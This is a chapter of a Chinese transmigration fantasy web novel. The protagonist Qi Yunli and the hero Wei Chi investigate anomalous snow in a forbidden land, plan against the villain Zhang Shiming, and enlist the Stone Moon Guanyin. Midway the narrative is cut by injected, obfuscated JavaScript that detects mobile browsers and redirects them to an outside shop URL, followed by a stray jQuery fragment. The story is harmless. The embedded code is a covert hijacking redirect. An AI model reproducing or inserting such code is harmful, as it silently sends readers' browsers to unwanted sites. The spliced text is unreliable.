曾经两人的争执源于《长夜道枯》。
小说还没声名鹊起时,齐云鲤就偶然听人说起那个世界观,虽然其他部分一无所知,但天地构成相当熟悉。
出于好奇她去网上找出那篇小说,结果发现跟自己的想法很相似。
因此齐云鲤就看进去,还把元真也叫来一起看。
两人的讨论基本都围绕世界观,她们觉得应该这样,但剧情发展成那样,因此在看的时候相当困惑。
到鼎山灭门时小说断更,她们实在想不通,如论如何都不至于有那个结果。
穿书过来两人又是惊喜又是困惑,怎么都看不出来灭门惨案迹象。
随着时间流逝,她们掌握的线索逐渐增加,随后两人对此进行一次讨论。
齐云鲤认为是漏洞问题,元真认为是人的问题。
两人都坚持各自观点,因此大吵一架。
不过这只是单纯的观点不同,两人立场还是一致。
因此鼎山灭门,发现还有一群穿书者魂魄后,她们便联手打造那座破庙。
雕像是齐云鲤做的,玉兰是元真种的。
虽然吵得不可开交,但她们始终在一条路上。
好几个轮回之后她们发现鼎山禁地可以打开一扇门,门后是现实世界。
穿书至今没一件好事,总算可以脱离苦海。
于是众人共同前往鼎山禁地,这时正是龙骨论战前一天,齐云鲤和元真对鼎山灭门相当好奇,因此中途跑过去一探究竟。
不过禁地降下惊天雷霆,还一路移动到飞泉院。
原本看到尸骸遍野齐云鲤就无法接受,结果天雷劈来,下一个死的就是她。
千钧一发之际元真挡住所有雷霆,卫池用人炉之火抵挡天雷余威。
齐云鲤这才没有烟消云散。
虽然那时情况恶劣,没能留意周遭,但这时的齐云鲤从幻境里看见面具人。
面具跟之前打她的面具人一模一样,声音也跟张师铭一模一样。
张师铭盗取她的构思,再让鼎山灭门,最后杀死元真。
种种迹象表明他就是罪魁祸首。
而且元真是幽冥大帝的话,难道禁地阵法由她铺设?
不过虽然当时准备从禁地离开,但元真功法已经所剩无几,没有余力再去铺设阵法。
禁地阵法跟幽冥大帝有关,莫非也与元真有关?
齐云鲤实在想不通,只能去鼎山禁地一探究竟。
飞泉院离禁地不远,她很快就走进雪地。不过在那里还看见一个人,那是卫池,他似乎在检查地上白雪。
小说男主始终低调行事,从不张牙舞爪,但一直有要命的事找过去。
卫池的经历更加险恶,面具人很早就杀死他父母,还在鼎山时就接连不断打他,完全没把他当人看。
种种险恶说明还能活到今天也不容易。
重点是在那个轮回里,最终是他用人炉之火救下齐云鲤。
即使有元真抵挡雷霆,天雷余威仍可以将她致于死地。只有在千钧一发之际用人炉之火炼化雷霆,才能减轻伤害。
齐云鲤这才幸存至今。
之前为了救他齐云鲤被青湖所杀,不过之后是卫池舍命相救。
虽然这次轮回一开始就稀奇古怪,两人有诸多争执。不过事到如今发现张师铭才是罪魁祸首,那就联手消灾就行。
也没必要再惦记之前吵过什么。
“你在干什么?”想通这件事齐云鲤就走过去问。
她的态度过于顺其自然,似乎不需要任何解释。
这句话实在出乎卫池所料,但是又顺理成章,两人再多争吵都是徒劳,只有解决张师铭才至关重要。
昔日吵来吵去只不过是热身,如今真正棘手的对象出现,就要目标一致。
他只是觉得齐云鲤真是宽宏大量。
卫池没有抬头,摸着地上的雪说:“这里有点奇怪,似乎被动了手脚。”
能在禁地动手脚的,随便一想就知道是谁。
“他动了不少手脚,之前我还中招。”齐云鲤没有质疑这个说法。
这种态度前所未有,卫池疑惑转头,见她身上并无伤势,才迟疑着问:“你中了什么招?”
“我在玄镜池出手打他,半天也没打到,孙仲礼看了全过程。”齐云鲤轻描淡写。
在玄镜池动手,旁边还有孙仲礼,这可不是小事。
二者都非比寻常,但是她一副无事发生的模样,卫池也不好再担心什么。
之前孙仲礼要去玄镜池找张师铭,之后她跟张师铭在玄镜池打起来。
“没打到他?”卫池只能问。
“谁都没打到,”齐云鲤知道有什么疑虑,就说,“不过他被骗了。”
卫池很早以前就发现交换魂魄之人,势必会担心。
眼下孙仲礼虽然没被打,但是被骗。
“被骗什么?”卫池很疑惑。
他不知道孙仲礼的来历,因此不明白还能怎么骗人。
齐云鲤说:“骗他众人碌碌无为,只有他才靠谱。”
这是相当虚无缥缈的说法,基本不会有人信。
不过若对方是个穿书的小学生就有可能中计,毕竟年少无知,不清楚人心险恶。
身为作者的穿书者其实最危险,毕竟其他人死伤无数,他却若无其事。
“他还会信这种事?”卫池有点不可思议。
经历千难万险的他只会由此想到好话说尽,坏事做绝。
齐云鲤无奈地说:“那边说解决漏洞只能靠他。”
“……这也信?”
此事过于匪夷所思,卫池都不敢相信。
即使孙仲礼还没超过十二岁,也不至于如此天真吧?
他不知道世上还有温室花朵一样的人,即使一路不顺,也觉得头顶还有遮阳挡雨的棚子。
齐云鲤只能叹息:“我跟他说关键在人不在漏洞,他还是觉得漏洞更简单。”
穿书凶险至今,她实在没法再寄希望于其他事物。
指望外界环境良好,可能都不知道自己怎么死的。
“看起来简单的东西其实最复杂。”卫池略有感慨。
事物看起来简单,但周遭还有一系列东西。
以为那个简单就可以事半功倍,其实是没看清四周联系。
这种事对小学生来说,太过错综复杂。
齐云鲤无奈摇头:“那你去跟他说吧,我劝不动。”
只言片语无法让孙仲礼信服,或许小说主角的身份能让他听进去一点。
毕竟对面是小说作者,或许只有小说主角才能对抗。
卫池不知道小说的事,因此很奇怪:“我说的他会听?”
“也许只有你说的,他才会听。”齐云鲤强调。
小说主角一生历尽坎坷,有些话只有他说才合理。
同样的话由旁人来说,别人只会觉得你有病。
而且孙仲礼以前被人欺负,估计觉得跟卫池有共同点。
同为穿书者还是比不过同样被人欺负,毕竟有些事只有他们能感同身受。
齐云鲤不知道卫池能否说通,反正她能做的准备也只有秘境。
九炼洞窟那五人虽是幼儿心智,但相关经验丰富,秘境肯定不会有问题。
曾经觉得小说剧情不合理,主角待遇不公平,所以齐云鲤出手帮忙。
即使又吵又打又死,但一切都是值得的。
如果曾经不帮他,那么现在谁来帮自己?
想到这里,齐云鲤弯腰摸到地上的雪:“这有什么奇怪的?”
禁地的雪铺天盖地,实在看不出异常。
估计也只有经历很多个轮回的卫池才能看出问题。
这地方要是奇怪,事情也许有点严重。
仙子林一事过后,卫池就明白有些事齐云鲤也知道。
于是他说:“这里有过去、现在的雪。”
“怎么会这样?”齐云鲤相当疑惑地转头。
“过去、现在”主要是指轮回,上一个轮回和这一个轮回没有泾渭分明。
按理来说不会发生这种事,除非……
“可能天地气力快要耗尽,所以曾经和现在混杂在一起。”
轮回起源于卫池,天地气力耗尽就说明他也精疲力竭。
小说主角的遭遇相当凄惨,不过再惨也惨不过卫池。
轮回近百次,他的经历也没有好转,甚至还在恶化。
齐云鲤原本是想查明禁地阵法的出处,不过事已至此就不用再查。
——都要毁天灭地,查了也白查。
既然卫池能从这边看出端倪,石月观音在破庙也能知道一些事。
双方汇总也许就能把握时机,确保何时急何时迟的分寸,或许能在千钧一发之际力挽狂澜。
“这里有过去、现在的雪,也许还会有未来的雪。”齐云鲤猜测。
这句话相当虚无缥缈,常人根本不可能明白。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290842|193353||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不过卫池就不是正常人。
“怎么会有未来?”他只是问。
齐云鲤说:“有人拦路那就把路打通。”
把路打通也就是解决面具人,卫池准备已久始终没找到机会。
曾经他想在龙骨论战一决胜负,但似乎已经不合适。
“要打他有点难。”卫池不得不承认,无论怎么准备也只能勉强平手。
齐云鲤说:“你一个人确实很难,但如果由鼎山出面那就不难。”
张师铭看起来只有一人,但背后还有一大群穿书者。
单独跟他打其实是以少敌多,能拖到今天已经是奇迹。
“还要连累整个鼎山?”
卫池不懂背后的道理,只是觉得自己太过无能。
他对自己要求很高,不代表事实就是这样。张师铭以摧枯拉朽之势将天地拖入万丈深渊,那就要从下方升起无可匹敌之力。
强悍到连小说作者也束手无策,而且作者还名不副实。
“不是连累,是借助鼎山之力。”
齐云鲤做了一个往上升的手势,卫池想起之前让鼎山弟子用元气布阵,结果就真的挡住张师铭掠夺龙息的势头。
在那之前他从未想过还有这种事,不过事到如今就没必要再否认。
何况鼎山弟子还在学习化龙,跟龙骨论战恰好一致。
卫池说:“那他们化龙的事……”
“现在还不行,下次吧。”齐云鲤摇摇头。
“我目前也无法化龙……”
齐云鲤强调:“这次还是我来。”
“化龙两次必死无疑。”卫池对此相当清楚,为了化龙他将相关事情调查得一清二楚。
不过齐云鲤完全没放在心上:“青湖无所谓,我也无所谓。”
“那之后怎么办?”
话虽如此,但她以前干的事太过吓人。
那次不明不白死了,这次不知又会有什么死法。
齐云鲤感觉要准备后续,又不是打完一架就解决问题。
“早有准备,你稍等一下,我去叫个人。”她说完就原地打坐。
她施法让自己瞬间入睡,因此顷刻间就来到破庙。
破庙里光线昏暗,但齐云鲤的到来仿佛带着天光。
石月观音很高兴,以为她是来给自己龙息,虽然什么也没解决,但总好过一死了之。
不过齐云鲤没有拿出龙息,而是说:“带你出去见个人,以后填坑的事你也要负责。”
之前从没人提过这种事。
“怎么还有我的事?”石月观音无法理解。
齐云鲤强调:“作者那种丧尽天良的人,身为读者绝不能放过。”
说到小说作者,石月观音就怒气冲冲,那种丧心病狂的家伙恨不得亲自给他两拳。虽然什么也做不了,不过打人还是没问题。
“那是要去见谁?”
齐云鲤大致介绍:“小说主角。”
“卫长夜!”石月观音有些惊喜,毕竟是救命恩人。
齐云鲤皱起眉头:“他改名叫卫池,别叫错了。”
石月观音也不能有意见,只能闭嘴。
齐云鲤指示:“别让他知道这是一本小说。”
“那要怎么说?”石月观音问。
“就说你出自天地造化,反正有龙息化身,这也没什么稀奇。”
“这就是骗人。”石月观音有点不满。
齐云鲤对此毫不介意,反正也不是干坏事。
“他发现禁地的雪来自过去和现在,你就让他知道还能出自未来。”
“还有这种事?”石月观音很不可思议。
“现在是关键时刻,稍有不慎就满盘皆输。”
风险大才显得至关重要。
发现自己背负开创未来的使命,石月观音瞬间思路清晰。
“一定要赢吗?”
“绝对不能输。”齐云鲤看着窗外白玉兰,说出郑重承诺。
破庙和飞泉院的玉兰都出自元真,那么她就不能让这个花枯萎。
两人商量好计划,石月观音就跟着来到鼎山禁地。
齐云鲤还在原地打坐,身后就出现一个菩萨打扮的女子。她看到卫池很高兴,开心打招呼。
虽然之前在千溪镇石月观音凭空出现,但现在是获得邀请才到达此地,顿时就感觉有点不一样。
以前听人说齐云鲤是希望,她还不信。
现在看来再准确不过。